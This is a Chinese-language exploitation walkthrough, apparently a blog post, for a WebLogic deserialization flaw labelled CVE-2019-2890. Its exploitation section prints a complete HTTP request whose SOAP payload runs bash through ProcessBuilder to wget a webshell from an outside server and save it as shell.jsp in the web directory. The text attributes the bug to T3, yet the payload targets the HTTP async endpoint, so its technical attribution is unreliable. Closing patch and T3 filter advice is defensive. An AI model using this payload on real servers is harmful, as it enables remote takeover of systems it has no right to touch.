WebLogic 反序列化漏洞(CVE-2019-2890)

WebLogic 反序列化漏洞(CVE-2019-2890)

漏洞描述

2019年10月15日,Oracle官方发布了2019年10月安全更新公告,其中包含了一个可造成RCE远程任意代码执行的高危漏洞,漏洞编号为CVE-2019-2890。

Weblogic在利用T3协议进行远程资源加载调用时,默认会进行黑名单过滤以保证反序列化安全。本漏洞绕过了Weblogic的反序列化黑名单,使攻击者可以通过T3协议对存在漏洞的Weblogic组件实施远程攻击。由于T3协议在Weblogic控制台开启的情况下默认开启,而Weblogic默认安装会自动开启控制台,所以攻击者可通过此漏洞造成远程代码执行,以控制Weblogic服务器。

影响范围

WebLogic Server 10.3.6.0

WebLogic Server 12.1.3.0

WebLogic Server 12.2.1.3

漏洞利用

  1. 判断是否存在漏洞,如下图所示则可能存在漏洞

http://192.168.223.195:7001/_async/AsyncResponseService

WebLogic 反序列化漏洞(CVE-2019-2890)

(2)上传webshell

首先放置一个shell.txt到公网服务器上,我们使用wget去下载它。

WebLogic 反序列化漏洞(CVE-2019-2890)

报文如下:

POST /_async/AsyncResponseService HTTP/1.1

Host: 192.168.223.195:7001

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0

Connection: close

Content-Length: 859

content-type: text/xml

 

 

 <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService">  

<soapenv:Header>

<wsa:Action>xx</wsa:Action>

<wsa:RelatesTo>xx</wsa:RelatesTo>

<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">

<void class="java.lang.ProcessBuilder">

<array class="java.lang.String" length="3">

<void index="0">

<string>/bin/bash</string>

</void>

<void index="1">

<string>-c</string>

</void>

<void index="2">

<string>wget http://192.168.223.1:8080/shell.txt -O servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/shell.jsp</string>

</void>

</array>

<void method="start"/></void>

</work:WorkContext>

</soapenv:Header>

<soapenv:Body>

<asy:onAsyncDelivery/>

</soapenv:Body></soapenv:Envelope>

(3)访问webshell

WebLogic 反序列化漏洞(CVE-2019-2890)

修复方案

1.更新Oracle 2019年10月补丁

https://www.oracle.com/technetwork/security-advisory/cpuoct2019-5072832.html

2.控制T3协议的访问

此漏洞产生于WebLogic的T3服务,因此可通过控制T3协议的访问来临时阻断针对该漏洞的攻击。当开放WebLogic控制台端口(默认为7001端口)时,T3服务会默认开启。具体操作:

(1)进入WebLogic控制台,在base_domain的配置页面中,进入“安全”选项卡页面,点击“筛选器”,进入连接筛选器配置。

(2)在连接筛选器中输入:weblogic.security.net.ConnectionFilterImpl,在连接筛选器规则中输入:127.0.0.1 * * allow t3 t3s,0.0.0.0/0 * * deny t3 t3s(t3和t3s协议的所有端口只允许本地访问)。

(3)保存后需重新启动,规则方可生效。